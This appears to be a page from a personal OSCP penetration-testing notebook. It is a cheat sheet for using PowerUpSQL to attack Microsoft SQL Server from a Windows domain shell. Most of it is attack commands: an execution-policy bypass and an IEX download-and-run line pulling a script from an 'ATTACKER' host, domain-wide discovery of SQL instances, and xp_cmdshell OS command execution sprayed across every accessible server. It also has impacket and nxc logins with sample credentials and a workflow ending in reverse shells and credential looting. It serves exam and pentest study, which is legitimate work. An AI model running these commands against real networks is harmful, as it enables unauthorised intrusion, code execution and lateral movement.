Pearson's OSCP Notebook

PowerUpSQL

Properties1
tagspowerupsql, mssql, sql-server, powershell, lateral-movement, xp-cmdshell, 1433, oscp

2 min read

PowerUpSQL — MSSQL Attack Toolkit

Ctrl+F: PowerUpSQL · Get-SQLInstanceDomain · Invoke-SQLOSCmd · xp_cmdshell

External: Internal All The Things — MSSQL Enumeration

What it is: PowerShell toolkit for SQL Server discovery, auditing, and post-exploitation at scale — from a Windows domain shell.

PurposeAttack Microsoft SQL Server
PhaseLateral movement
PlatformWindows PowerShell (domain context ideal)
RepoNetSPI/PowerUpSQL

Linux alternative: mssqlclient · MSSQL · CrackMapExec - nxc mssql

Install

# On target or Kali with PowerShell
git clone https://github.com/NetSPI/PowerUpSQL.git
Import-Module .\PowerUpSQL.psd1
# or
Import-Module .\PowerUpSQL.ps1
powershell -ep bypass
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER:8080/PowerUpSQL.ps1')

Wiki: PowerUpSQL Wiki

📌 Discovery — find SQL servers in domain

Queries AD for MSSQL SPNs (MSSQLSvc/...):

Get-SQLInstanceDomain -Verbose

Which instances can I access (current Windows user):

Get-SQLInstanceDomain -Verbose |
  Get-SQLConnectionTestThreaded -Verbose -Threads 10 |
  Where-Object {$_.Status -eq 'Accessible'}

Alternative creds:

runas /noprofile /netonly /user:DOMAIN\user PowerShell.exe
# New window — then Import-Module PowerUpSQL
Get-SQLInstanceDomain -Verbose -DomainController DC_IP -Username DOMAIN\user -Password 'PASS'

📌 Enumeration

# Check if current user is sysadmin on instance
Get-SQLServerInfo -Instance "HOST\SQLEXPRESS" -Verbose
 
# Audit weak configs (run on accessible targets)
Get-SQLInstanceDomain -Verbose |
  Get-SQLConnectionTestThreaded -Threads 10 |
  Where-Object {$_.Status -eq 'Accessible'} |
  Get-SQLServerInfo -Verbose

Check sysadmin + xp_cmdshell status before exploitation.

📌 OS command execution (xp_cmdshell)

Requires sysadmin on target instance (or impersonation — MSSQL > EXECUTE AS).

Single instance

Invoke-SQLOSCmd `
  -Username sa `
  -Password 'Password@123' `
  -Instance 'WIN-HOST\SQLEXPRESS' `
  -Command 'whoami' `
  -Verbose

Spray accessible domain SQL servers

$Targets = Get-SQLInstanceDomain -Verbose |
  Get-SQLConnectionTestThreaded -Verbose -Threads 10 |
  Where-Object {$_.Status -eq 'Accessible'}
 
$Targets | Invoke-SQLOSCmd -Verbose -Command "whoami" -Threads 5

Invoke-SQLOSCmd enables xp_cmdshell if needed (when permitted).

📌 OSCP workflow

Domain Windows shell
  → Import-Module PowerUpSQL
  → Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded (find accessible)
  → Get-SQLServerInfo (sysadmin? xp_cmdshell?)
  → Invoke-SQLOSCmd -Command whoami
  → Reverse shell / cred loot → lateral

From Kali only → skip PowerUpSQL, use:

impacket-mssqlclient DOMAIN/user:pass@TARGET -windows-auth
impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@TARGET -windows-auth
nxc mssql TARGET -d corp.local -u svc_sql -p 'CrackedPassword'

📌 Quick cheat sheet

Import-Module .\PowerUpSQL.psd1
 
Get-SQLInstanceDomain -Verbose
Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Threads 10 | ? {$_.Status -eq 'Accessible'}
 
Invoke-SQLOSCmd -Username sa -Password 'PASS' -Instance 'HOST\INSTANCE' -Command 'whoami' -Verbose

Graph View

Backlinks